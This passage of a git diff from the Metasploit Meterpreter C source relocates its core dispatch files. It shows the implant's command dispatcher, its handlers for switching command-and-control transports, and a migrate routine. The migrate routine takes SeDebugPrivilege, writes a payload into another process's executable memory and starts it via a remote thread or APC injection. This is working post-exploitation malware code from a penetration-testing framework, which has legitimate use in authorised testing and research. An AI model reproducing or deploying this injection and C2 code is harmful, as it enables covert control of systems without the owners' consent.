(strcmp(command->method, method) == 0) + { + return command; + } + } + + dprintf("[COMMAND EXEC] Couldn't find extension command %s", method); + return NULL; +} + +/*! + * @brief Handle an incoming command. + * @param remote Pointer to the \c Remote instance associated with this command. + * @param packet Pointer to the \c Packet containing the command data. + * @retval TRUE The server can and should continue processing. + * @retval FALSE The server should stop processing and shut down. + * @remark This function was incorporate to help support two things in meterpreter: + * -# A way of allowing a command to be processed directly on the main server + * thread and not on another thread (which in some cases can cause problems). + * -# A cleaner way of shutting down the server so that container processes + * can shutdown cleanly themselves, where appropriate. + * + * This function will look at the command definition and determine if it should + * be executed inline or on a new command thread. + * @sa command_process_inline + * @sa command_process_thread + */ +BOOL command_handle(Remote *remote, Packet *packet) +{ + BOOL result = TRUE; + THREAD* cpt = NULL; + Command* baseCommand = NULL; + Command* extensionCommand = NULL; + Command** commands = NULL; + Packet* response = NULL; + PCHAR lpMethod = NULL; + Tlv methodTlv; + + do + { + if (packet_get_tlv_string(packet, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) + { + dprintf("[COMMAND] Unable to extract method from packet."); + break; + } + + lpMethod = (PCHAR)methodTlv.buffer; + + baseCommand = command_locate_base(lpMethod); + extensionCommand = command_locate_extension(lpMethod); + + if (baseCommand == NULL && extensionCommand == NULL) + { + dprintf("[DISPATCH] Command not found: %s", lpMethod); + // We have no matching command for this packet, so it won't get handled. We + // need to send an empty response and clean up here before exiting out. + response = packet_create_response(packet); + if (packet->local) + { + packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_NOT_SUPPORTED); + } + else + { + packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response); + packet_destroy(packet); + } + break; + } + + // if either command is registered as inline, run them inline + if ((baseCommand && command_is_inline(baseCommand, packet)) + || (extensionCommand && command_is_inline(extensionCommand, packet)) + || packet->local) + { + dprintf("[DISPATCH] Executing inline: %s", lpMethod); + result = command_process_inline(baseCommand, extensionCommand, remote, packet); + dprintf("[DISPATCH] Executed inline: result %u (%x)", result, result); + } + else + { + dprintf("[DISPATCH] Executing in thread: %s", lpMethod); + + commands = (Command**)malloc(sizeof(Command*) * 2); + *commands = baseCommand; + *(commands + 1) = extensionCommand; + + cpt = thread_create(command_process_thread, remote, packet, commands); + if (cpt) + { + dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle); + thread_run(cpt); + } + } + } while (0); + + return result; +} + +/*! + * @brief Process a single command in a seperate thread of execution. + * @param thread Pointer to the thread to execute. + * @return Result of thread execution (not the result of the command). + * @sa command_handle + * @sa command_process_inline + */ +DWORD THREADCALL command_process_thread(THREAD * thread) +{ + Command** commands = NULL; + Remote * remote = NULL; + Packet * packet = NULL; + + dprintf("[COMMAND] executing in thread %p", thread); + + if (thread == NULL) + { + return ERROR_INVALID_HANDLE; + } + + remote = (Remote *)thread->parameter1; + if (remote == NULL) + { + return ERROR_INVALID_HANDLE; + } + + packet = (Packet *)thread->parameter2; + if (packet == NULL) + { + return ERROR_INVALID_DATA; + } + + commands = (Command**)thread->parameter3; + if (commands == NULL) + { + return ERROR_INVALID_DATA; + } + + if (commandThreadList == NULL) + { + commandThreadList = list_create(); + if (commandThreadList == NULL) + { + return ERROR_INVALID_HANDLE; + } + } + + list_add(commandThreadList, thread); + + // invoke processing inline, passing in both commands + dprintf("[COMMAND] About to execute inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); + command_process_inline(*commands, *(commands + 1), remote, packet); + dprintf("[COMMAND] Executed inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1)); + + if (list_remove(commandThreadList, thread)) + { + thread_destroy(thread); + } + + // free things up now that the command stuff has been finished + dprintf("[COMMAND] Cleaning up commands"); + free(commands); + + return ERROR_SUCCESS; +} + +/*! + * @brief Determine if a given command/packet combination should be invoked inline. + * @param command Pointer to the \c Command being invoked. + * @param packet Pointer to the \c Packet being received/sent. + * @returns Boolean indication of whether the command should be executed inline. + * @retval TRUE The command should be executed inline on the current thread. + * @retval FALSE The command should be executed on a new thread. + */ +BOOL command_is_inline( Command *command, Packet *packet ) +{ + switch (packet_get_type( packet )) + { + case PACKET_TLV_TYPE_REQUEST: + case PACKET_TLV_TYPE_PLAIN_REQUEST: + if (command->request.inline_handler) + return TRUE; + case PACKET_TLV_TYPE_RESPONSE: + case PACKET_TLV_TYPE_PLAIN_RESPONSE: + if (command->response.inline_handler) + return TRUE; + } + + return FALSE; +} + +/*! + * @brief Validate command arguments + * @return Indication of whether the commands are valid or not. + * @retval ERROR_SUCCESS All arguments are valid. + * @retval ERROR_INVALID_PARAMETER An invalid parameter exists. + */ +DWORD command_validate_arguments(Command *command, Packet *packet) +{ + PacketDispatcher *dispatcher = NULL; + PacketTlvType type = packet_get_type(packet); + DWORD res = ERROR_SUCCESS, + packetIndex, commandIndex; + Tlv current; + + // Select the dispatcher table + if ((type == PACKET_TLV_TYPE_RESPONSE) || + (type == PACKET_TLV_TYPE_PLAIN_RESPONSE)) + dispatcher = &command->response; + else + dispatcher = &command->request; + + // Enumerate the arguments, validating the meta types of each + for (commandIndex = 0, packetIndex = 0; + ((packet_enum_tlv(packet, packetIndex, TLV_TYPE_ANY, ¤t) == ERROR_SUCCESS) + && (res == ERROR_SUCCESS)); + commandIndex++, packetIndex++) + { + TlvMetaType tlvMetaType; + + // Check to see if we've reached the end of the command arguments + if ((dispatcher->numArgumentTypes) && + (commandIndex == (dispatcher->numArgumentTypes & ARGUMENT_FLAG_MASK))) + { + // If the repeat flag is set, reset the index + if (commandIndex & ARGUMENT_FLAG_REPEAT) + commandIndex = 0; + else + break; + } + + // Make sure the argument is at least one of the meta types + tlvMetaType = packet_get_tlv_meta(packet, ¤t); + + // Validate argument meta types + switch (tlvMetaType) + { + case TLV_META_TYPE_STRING: + if (packet_is_tlv_null_terminated(¤t) != ERROR_SUCCESS) + { + dprintf("[COMMAND] string is not null terminated"); + res = ERROR_INVALID_PARAMETER; + } + break; + default: + break; + } + + if ((res != ERROR_SUCCESS) && + (commandIndex < dispatcher->numArgumentTypes)) + break; + } + + return res; +} diff --git a/c/meterpreter/source/metsrv/base.h b/c/meterpreter/source/metsrv/base.h new file mode 100644 index 00000000..6f06f5b9 --- /dev/null +++ b/c/meterpreter/source/metsrv/base.h @@ -0,0 +1,17 @@ +/*! + * @file base.h + * @brief Declarations, macros and types that apply to almost any Meterpreter component. + */ +#ifndef _METERPRETER_METSRV_BASE_H +#define _METERPRETER_METSRV_BASE_H + +#include "core.h" + +void command_register_all(Command commands[]); +void command_deregister_all(Command commands[]); +DWORD command_register(Command *command); +DWORD command_deregister(Command *command); +VOID command_join_threads( VOID ); +BOOL command_handle( Remote *remote, Packet *packet ); + +#endif diff --git a/c/meterpreter/source/common/arch/win/i386/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c old mode 100755 new mode 100644 similarity index 61% rename from c/meterpreter/source/common/arch/win/i386/base_dispatch.c rename to c/meterpreter/source/metsrv/base_dispatch.c index 64907088..898dd23a --- a/c/meterpreter/source/common/arch/win/i386/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -1,779 +1,1385 @@ -#include "common.h" -#include "base_inject.h" -#include "../../../config.h" - -DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer) -{ - *contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, sizeof(COMMONMIGRATECONTEXT)); - - if (*contextBuffer == NULL) - { - return ERROR_OUTOFMEMORY; - } - - *contextSize = sizeof(COMMONMIGRATECONTEXT); - - return ERROR_SUCCESS; -} - -DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) -{ - DWORD result = ERROR_NOT_ENOUGH_MEMORY; - Transport* transport = NULL; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - TimeoutSettings timeouts = { 0 }; - - int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); - timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); - - // special case, will still leave this in here even if it's not transport related - if (sessionExpiry != 0) - { - remote->sess_expiry_time = sessionExpiry; - remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; - } - - if (timeouts.comms == 0) - { - timeouts.comms = remote->transport->timeouts.comms; - } - if (timeouts.retry_total == 0) - { - timeouts.retry_total = remote->transport->timeouts.retry_total; - } - if (timeouts.retry_wait == 0) - { - timeouts.retry_wait = remote->transport->timeouts.retry_wait; - } - - dprintf("[CHANGE TRANS] Url: %S", transportUrl); - dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); - dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); - dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); - - do - { - if (transportUrl == NULL) - { - dprintf("[CHANGE TRANS] Something was NULL"); - break; - } - - if (wcsncmp(transportUrl, L"tcp", 3) == 0) - { - MetsrvTransportTcp config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else if (wcsncmp(transportUrl, L"pipe", 4) == 0) - { - MetsrvTransportNamedPipe config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else - { - BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; - wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); - wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); - wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); - wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); - PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); - wchar_t* headers = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_HEADERS); - - size_t configSize = sizeof(MetsrvTransportHttp); - if (headers) - { - // this already caters for the null byte because it's included in the structure. - configSize += wcslen(headers); - } - - MetsrvTransportHttp* config = (MetsrvTransportHttp*)calloc(1, configSize); - config->common.comms_timeout = timeouts.comms; - config->common.retry_total = timeouts.retry_total; - config->common.retry_wait = timeouts.retry_wait; - wcsncpy(config->common.url, transportUrl, URL_SIZE); - - if (proxy) - { - wcsncpy(config->proxy.hostname, proxy, PROXY_HOST_SIZE); - free(proxy); - } - - if (proxyUser) - { - wcsncpy(config->proxy.username, proxyUser, PROXY_USER_SIZE); - free(proxyUser); - } - - if (proxyPass) - { - wcsncpy(config->proxy.password, proxyPass, PROXY_PASS_SIZE); - free(proxyPass); - } - - if (ua) - { - wcsncpy(config->ua, ua, UA_SIZE); - free(ua); - } - - if (certHash) - { - memcpy(config->ssl_cert_hash, certHash, CERT_HASH_SIZE); - // No need to free this up as it's not a wchar_t - } - - if (headers) - { - wcscpy(config->custom_headers, headers); - } - - transport = remote->trans_create(remote, &config->common, NULL); - - free(config); - } - - // tell the server dispatch to exit, it should pick up the new transport - result = ERROR_SUCCESS; - } while (0); - - *transportBufer = transport; - - return result; -} - -DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response = NULL; - - do - { - response = packet_create_response(packet); - - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the session timeout to the top level - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); - - Transport* current = remote->transport; - Transport* first = remote->transport; - - do - { - Packet* transportGroup = packet_create_group(); - - if (!transportGroup) - { - // bomb out, returning what we have so far. - break; - } - - dprintf("[DISPATCH] Adding URL %S", current->url); - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); - dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); - dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); - dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); - - switch (current->type) - { - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; - dprintf("[DISPATCH] Transport is HTTP/S"); - if (ctx->ua) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); - } - if (ctx->proxy) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); - } - if (ctx->proxy_user) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); - } - if (ctx->proxy_pass) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); - } - if (ctx->cert_hash) - { - packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); - } - if (ctx->custom_headers && ctx->custom_headers[0]) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_HEADERS, ctx->custom_headers); - } - break; - } - } - - packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); - - current = current->next_transport; - } while (first != current); - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} - -BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result) -{ - dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport); - if (remote->transport == remote->transport->next_transport) - { - dprintf("[DISPATCH] Transports are the same, don't do anything"); - // if we're switching to the same thing, don't bother. - *result = ERROR_INVALID_FUNCTION; - } - else - { - dprintf("[DISPATCH] Transports are different, perform the switch"); - remote->next_transport = remote->transport->next_transport; - *result = ERROR_SUCCESS; - } - - packet_transmit_empty_response(remote, packet, *result); - return *result == ERROR_SUCCESS ? FALSE : TRUE; - -} - -BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) -{ - dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); - if (remote->transport == remote->transport->prev_transport) - { - dprintf("[DISPATCH] Transports are the same, don't do anything"); - // if we're switching to the same thing, don't bother. - *result = ERROR_INVALID_FUNCTION; - } - else - { - dprintf("[DISPATCH] Transports are different, perform the switch"); - remote->next_transport = remote->transport->prev_transport; - *result = ERROR_SUCCESS; - } - - packet_transmit_empty_response(remote, packet, *result); - return *result == ERROR_SUCCESS ? FALSE : TRUE; -} - -DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - - // make sure we are not trying to remove the last transport - if (remote->transport == remote->transport->prev_transport) - { - dprintf("[DISPATCH] Refusing to delete the last transport"); - result = ERROR_INVALID_FUNCTION; - } - else - { - Transport* found = NULL; - Transport* transport = remote->transport; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - do - { - if (wcscmp(transportUrl, transport->url) == 0) - { - found = transport; - break; - } - - transport = transport->next_transport; - } while (transport != remote->transport); - - if (found == NULL || found == remote->transport) - { - dprintf("[DISPATCH] Transport not found, or attempting to remove current"); - // if we don't have a valid transport, or they're trying to remove the - // existing one, then bomb out (that might come later) - result = ERROR_INVALID_PARAMETER; - } - else - { - remote->trans_remove(remote, found); - dprintf("[DISPATCH] Transport removed"); - } - - SAFE_FREE(transportUrl); - } - - packet_transmit_empty_response(remote, packet, result); - dprintf("[DISPATCH] Response sent."); - return result; -} - -DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) -{ - Transport* transport = NULL; - DWORD result = create_transport_from_request(remote, packet, &transport); - - packet_transmit_empty_response(remote, packet, result); - return result; -} - -BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) -{ - // we'll reuse the comm timeout TLV for this purpose - DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - - dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); - - // to sleep, we simply jump to the same transport, with a delay - remote->next_transport_wait = seconds; - remote->next_transport = remote->transport; - - packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); - *result = ERROR_SUCCESS; - - // exit out of the dispatch loop - return FALSE; -} - -BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) -{ - Transport* transport = NULL; - *result = create_transport_from_request(remote, packet, &transport); - - packet_transmit_empty_response(remote, packet, *result); - - if (*result == ERROR_SUCCESS) - { - remote->next_transport = transport; - // exit out of the dispatch loop. - return FALSE; - } - - return TRUE; -} - -/*! - * @brief Set the current hash that is used for SSL certificate verification. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - */ -DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response; - - do - { - response = packet_create_response(packet); - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // no setting of the cert hash if the target isn't a HTTPS transport - if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) - { - result = ERROR_BAD_ENVIRONMENT; - break; - } - - unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - - // Support adding a new cert hash if one doesn't exist - if (!ctx->cert_hash) - { - if (certHash) - { - PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); - if (!newHash) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - memcpy(newHash, certHash, CERT_HASH_SIZE); - - // Set it at the last minute. Mucking with "globals" and all, want to make sure we - // don't set it too early.. just in case. - ctx->cert_hash = newHash; - } - else - { - // at this time, don't support overwriting of the existing hash - // as that will cause issues! - result = ERROR_BAD_ARGUMENTS; - break; - } - } - // support removal of the existing hash - else - { - if (certHash) - { - result = ERROR_BAD_ARGUMENTS; - break; - } - else - { - SAFE_FREE(ctx->cert_hash); - } - } - - result = ERROR_SUCCESS; - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} - -/*! - * @brief Get the current hash that is used for SSL certificate verification. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - */ -DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response; - - do - { - response = packet_create_response(packet); - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Rather than error out if the transport isn't HTTPS, we'll just return - // an empty response. This prevents a horrible error appearing in the - // MSF console - if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) - { - HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; - if (ctx->cert_hash) - { - packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); - } - } - - result = ERROR_SUCCESS; - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} - -/*! - * @brief Migrate the meterpreter server from the current process into another process. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @param pResult Pointer to the memory that will receive the result. - * @returns Indication of whether the server should continue processing or not. - */ -BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) -{ - DWORD dwResult = ERROR_SUCCESS; - Packet * response = NULL; - HANDLE hToken = NULL; - HANDLE hProcess = NULL; - HANDLE hEvent = NULL; - BYTE * lpPayloadBuffer = NULL; - LPVOID lpMigrateStub = NULL; - LPBYTE lpMemory = NULL; - LPBYTE lpUuid = NULL; - LPCOMMONMIGRATECONTEXT ctx = NULL; - DWORD ctxSize = 0; - DWORD dwMigrateStubLength = 0; - DWORD dwPayloadLength = 0; - DWORD dwProcessID = 0; - DWORD dwDestinationArch = 0; - - MetsrvConfig* config = NULL; - DWORD configSize = 0; - - do - { - response = packet_create_response(packet); - if (!response) - { - dwResult = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Get the process identifier to inject into - dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); - - // Get the target process architecture to inject into - dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); - - // Get the length of the payload buffer - dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN); - - // Receive the actual migration payload buffer - lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); - - // Get handles to the updated UUIDs if they're there - lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); - - // Get the migrate stub information - dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN); - lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB); - - dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); - - // If we can, get SeDebugPrivilege... - if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) - { - TOKEN_PRIVILEGES priv = { 0 }; - - priv.PrivilegeCount = 1; - priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) - { - if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); - { - dprintf("[MIGRATE] Got SeDebugPrivilege!"); - } - } - - CloseHandle(hToken); - } - - // Open the process so that we can migrate into it - hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); - if (!hProcess) - { - BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") - } - - // get the existing configuration - dprintf("[MIGRATE] creating the configuration block"); - remote->config_create(remote, lpUuid, &config, &configSize); - dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); - - if (remote->transport->get_migrate_context != NULL) - { - dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx); - } - else - { - dwResult = get_migrate_context(&ctxSize, &ctx); - } - - if (dwResult != ERROR_SUCCESS) - { - dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult); - break; - } - - // Create a notification event that we'll use to know when it's safe to exit - // (once the socket has been referenced in the other process) - hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); - if (!hEvent) - { - BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); - } - - // Duplicate the event handle for the target process - if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) - { - BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed"); - } - - dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent); - - // Allocate memory for the migrate stub, context, payload and configuration block - lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (!lpMemory) - { - BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed"); - } - - // Calculate the address of the payload... - ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize; - - // Write the migrate stub to memory... - dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); - if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed"); - } - - // Write the migrate context to memory... - dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize); - if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed"); - } - - // Write the migrate payload to memory... - dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength); - if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed"); - } - - // finally write the configuration stub - dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize); - if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL)) - { - BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed"); - } - - free(ctx); - - // First we try to migrate by directly creating a remote thread in the target process - if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) - { - dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); - - // If that fails we can try to migrate via a queued APC in the target process - if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) - { - BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed"); - } - } - - dwResult = ERROR_SUCCESS; - - } while (0); - - SAFE_FREE(config); - - // If we failed and have not sent the response, do so now - if (dwResult != ERROR_SUCCESS && response) - { - dprintf("[MIGRATE] Sending response"); - packet_transmit_response(dwResult, remote, response); - } - - // Cleanup... - if (hProcess) - { - dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); - CloseHandle(hProcess); - } - - if (hEvent) - { - dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); - CloseHandle(hEvent); - } - - if (pResult) - { - *pResult = dwResult; - } - - // if migration succeeded, return 'FALSE' to indicate server thread termination. - dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); - return ERROR_SUCCESS == dwResult ? FALSE : TRUE; -} - -/*! - * @brief Update the timeouts with the given values - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the request packet. - * @returns Indication of success or failure. - * @remark If no values are given, no updates are made. The response to - * this message is the new/current settings. - */ -DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response = NULL; - - do - { - response = packet_create_response(packet); - if (!response) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); - int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); - - // TODO: put this in a helper function that can be used everywhere? - - // if it's in the past, that's fine, but 0 implies not set - if (expirationTimeout != 0) - { - dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); - remote->sess_expiry_time = expirationTimeout; - remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; - } - - if (commsTimeout != 0) - { - dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); - remote->transport->timeouts.comms = commsTimeout; - remote->transport->comms_last_packet = current_unix_timestamp(); - } - - if (retryTotal > 0) - { - dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); - remote->transport->timeouts.retry_total = retryTotal; - } - - if (retryWait > 0) - { - dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); - remote->transport->timeouts.retry_wait = retryWait; - } - - // for the session expiry, return how many seconds are left before the session actually expires - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); - packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); - - } while (0); - - if (response) - { - packet_transmit_response(result, remote, response); - } - - return result; -} +#include "metsrv.h" +#include "base_inject.h" + +DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBuffer) +{ + *contextBuffer = (LPCOMMONMIGRATECONTEXT)calloc(1, 